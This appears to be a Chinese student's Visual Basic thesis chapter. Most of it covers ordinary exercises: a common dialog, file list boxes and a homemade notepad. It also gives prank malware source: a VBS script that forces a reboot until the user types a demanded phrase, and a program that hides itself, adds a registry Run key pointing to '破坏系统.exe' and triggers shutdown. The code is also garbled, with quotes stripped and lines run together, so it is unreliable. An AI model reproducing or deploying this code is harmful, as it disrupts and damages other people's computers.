vb毕业设计论文2-盗QQ篇.doc

6：学习通用对话框说明: 因为学习到通用对话框，由此也学习到其他的东西了，因为靠VB自带的那些基本控件想实现一些功能有困难，.ocx这个扩展名的就是控件文件，可以自定义一个控件，来自己用，.dll是动态链接库了，先学习通用对话框喽。 第一：打开VB，找到工程中的部件，在控件里面找到Microsoft common Dialog Control 6.0 在这里打上对号，然后确定。第二：做了第一步就会发现上面有一个通用对话框的控件了，他是不显示的，跟时间控件一样，不显示。在窗体上画一个通用对话框控件CommonDialog1 ，然后画两个文本框Text1，Text2和一个按钮Command1 ，下面开始写代码： Private Sub Command1_Click()CommonDialog1.ShowOpenText1.Text = CommonDialog1.FileNameText2.Text = CommonDialog1.FileTitleEnd Sub 单击按钮发生CommonDialog1.ShowOpen 就是打开一个选择文件对话框、CommonDialog1.FileName是文件名字，CommonDialog1.FileTitle是文件标题。这就是我学习的通用对话框了。7：学习VBS脚本 说明：因为爱好，所以经常百度，某一次看到海天软件学院的一人写了一个小脚本，在这里我毕业设计中也要写一下，嘿嘿，写下破解的办法，因为我们现代的学子不比海天的差。代码部分：on error resume next 这里是错误处理语句dim WSHshellA set WSHshellA = wscript.createobject(wscript.shell) 创建一个对象WSHshellA.run cmd.exe /c shutdown -r -t 120 -c 叫龙哥，不叫龙哥就一分钟关你机，不信，试试 ,0 ,true 调用CMD.exe 输入DOS关机命令。dim ado while(a 龙哥)a = inputbox (叫龙哥,就不关机，快撒，叫 龙哥,说不说,不说,8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBoxloopmsgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛dim WSHshellset WSHshell = wscript.createobject(wscript.shell)WSHshell.run cmd.exe /c shutdown -a,0 ,true msgbox chr(13) + chr(13) + chr(13) + 哈哈，帮我踩下空间哈 - 文件来自QQ610358898上面的VBS脚本，其实就是用了一个、dos命令shutdown，可以在DOS下shudown/? 查一下该命令的语法：用法: shutdown -i | -l | -s | -r | -a -f -m computername -t xx -c comment -d up:xx:yy 没有参数 显示此消息(与 ? 相同) -i 显示 GUI 界面，必须是第一个选项 -l 注销(不能与选项 -m 一起使用) -s 关闭此计算机 -r 关闭并重启动此计算机 -a 放弃系统关机 -m computername 远程计算机关机/重启动/放弃 -t xx 设置关闭的超时为 xx 秒 -c comment 关闭注释(最大 127 个字符) -f 强制运行的应用程序关闭而没有警告 -d up:xx:yy 关闭原因代码 u 是用户代码 p 是一个计划的关闭代码 xx 是一个主要原因代码(小于 256 的正整数) yy 是一个次要原因代码(小于 65536 的正整数)看到这个命令的语法就好办了，他可以shutdown s 关机，我们及可以 shutdown a 关闭系统关机，记得一次上机用过这个脚本，问操作系统老师老师居然没解决，这个首先用DOS关闭系统关机，然后在进程中找到这个脚本关闭就可以了。8：文件目录列表框 说明：学习到这里差点把握给搞晕了，三个赋值语句，经过好好想想，仔细分析，还是搞透彻了。代码部分：Private Sub Dir1_Change()File1.Path = Dir1.PathEnd SubPrivate Sub Drive1_Change()Dir1.Path = Drive1.DriveEnd Sub Private Sub File1_Click()Text1.Text = File1.Path & & File1.FileNameEnd Sub截图: 9 ：自作记事本说明：前面我学完了通用对话框，突然有了个想法，写个记事本，经过一个下午的时间，终于完成了自己的记事本，因为现在转Delphi，所以这个记事本没更新BUG，值得骄傲的是我做出自己的记事本了。用到了动态菜单和api函数，通用对话框，文读写操作，shell函数等知识。代码部分：: Private Declare Function SetLayeredWindowAttributes Lib user32 (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As LongPrivate Const WS_EX_LAYERED = &H80000Private Const LWA_ALPHA = &H2Private Const GWL_EXSTYLE = (-20)Private Declare Function GetWindowLong Lib user32 Alias GetWindowLongA (ByVal _ hwnd As Long, ByVal nIndex As Long) As LongPrivate Declare Function SetWindowLong Lib user32 Alias SetWindowLongA (ByVal _ hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long上面的是api函数声明部分Private Sub as_Click()End 退出按钮End SubPrivate Sub Command2_Click() Dim shuju, qq Open D:wangchi.wangchi For Binary As #1 Put #1, , Text1.Text Close #1 qq = MsgBox(确定保存吗？, vbYesNo, 网痴提醒)If qq = vbYes ThenMsgBox 恭喜，保存成功。（D：wangchi）, , 网痴提示Elseform1.ShowEnd IfEnd SubPrivate Sub Form_Load() Dim rtn As Long rtn = GetWindowLong(Me.hwnd, GWL_EXSTYLE) 取的窗口原先的样式 rtn = rtn Or WS_EX_LAYERED 使窗体添加上新的样式WS_EX_LAYERED SetWindowLong Me.hwnd, GWL_EXSTYLE, rtn 把新的样式赋给窗体 SetLayeredWindowAttributes Me.hwnd, 0, 200, LWA_ALPHAEnd SubPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)If Button = 2 Or Button = 1 Thenform1.PopupMenu ly55521 鼠标单击右键显示菜单End IfEnd SubPrivate Sub kkk_Click()Dim str1 As StringDim str As StringOn Error Resume NextCommonDialog1.ShowOpenText1 = Open CommonDialog1.FileName For Input As #1Do While Not EOF(1)Input #1, str1str = str & str1 & Chr(13) & Chr(10)Text1 = strLoopClose #1End SubPrivate Sub Label2_Click()Dim z1z1 = Shell(cmd.exe, 1)End SubPrivate Sub Label3_Click()Dim z2z2 = Shell(C:Program FilesTencentQQBinQQ.exe , 1)End SubPrivate Sub sx_Click()On Error Resume NextCommonDialog1.ShowFontText1.Text = CommonDialog1.FontNameText1.Text = CommonDialog1.FontItalicText1.Text = CommonDialog1.FontNameText1.Text = CommonDialog1.FontSizeEnd SubPrivate Sub Timer1_Timer()Label1.Caption = NowEnd Sub Private Sub yanse_Click()CommonDialog1.ShowColorText1.BackColor = CommonDialog1.ColorEnd SubPrivate Sub ziti_Click()CommonDialog1.ShowColorText1.ForeColor = CommonDialog1.ColorEnd Sub上面的其中一部分是在菜单编辑器设置好的，然后在写的代码记事本效果截图：10：api函数，编写系统应用软件说明，这是一个api函数的应用举例，api函数就是一本大字典，无穷无尽，或许这也是编程需要有自学能力的原因了，碰到不会的就要去查字典，这里面的是隐藏桌面，工具栏，开始按钮效果。代码部分：这里还是不要写了吧，去查一下api函数字典就会晓得了，我的小站 里面有api函数精华部分。截图效果如下：11：禁用任务管理器说明：因为比较喜欢这方面，网络安全，看了下熊猫烧香的病毒VB就可以实现了，不过需要花一定的时间才可以，VB编译出来的程序运行的慢，这也是我现在转Delphi 的原因，这个程序其实也就是用了一个api 有限的时间返回窗口句柄，点击按钮触发DOS的shutdown 命令，然后 加入注册表启动项。代码：Private Declare Function RegCreateKey Lib advapi32.dll Alias RegCreateKeyA (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As LongPrivate Declare Function RegCloseKey Lib advapi32.dll (ByVal hKey As Long) As LongPrivate Declare Function RegDeleteValue Lib advapi32.dll Alias RegDeleteValueA (ByVal hKey As Long, ByVal lpValueName As String) As LongPrivate Declare Function RegOpenKey Lib advapi32.dll Alias RegOpenKeyA (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As LongPrivate Declare Function RegQueryValueEx Lib advapi32.dll Alias RegQueryValueExA (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As LongPrivate Declare Function RegSetValueEx Lib advapi32.dll Alias RegSetValueExA (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As LongPrivate Declare Function FindWindow Lib user32 Alias FindWindowA (ByVal lpClassName As String, ByVal lpWindowName As String) As LongPrivate Declare Function SendMessage Lib user32 Alias SendMessageA (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long 上面是 api 函数声明部分Private Sub Command1_Click()Shell shutdown -s -t 60End Sub 点这个按钮触发 shutdown 命令。Private Sub Form_Load()MsgBox 如果我没预料错的话，你运行了以后需要重装系统了，试试看吧，我自己都不敢用，所以也不知道结果如何！我QQ：454690484, , 网痴软件提示Dim qqApp.TaskVisible = FalseApp.Title = wangchiaa = Shell(explorer.exe & )Set my = CreateObject(WScript.Shell)my.regWrite HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun破坏系统, dirwin & C:Documents and SettingsAdministrator桌面破坏系统.exe, REG_SZEnd SubPrivate Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)Dim strString As StringDim keyhand As LongDim r As LongstrString = Apppath & TheExeNamer = RegCreateKey(HKEY_LOCAL_MACHINE, SOFTWAREMicrosoftWindowsCurrentVersionRun, keyhand)r = RegSetValueEx(keyhand, App.EXEName, 0, REG_SZ, ByVal strString, 2 * Len(strString)r = RegCloseKey(keyhand)End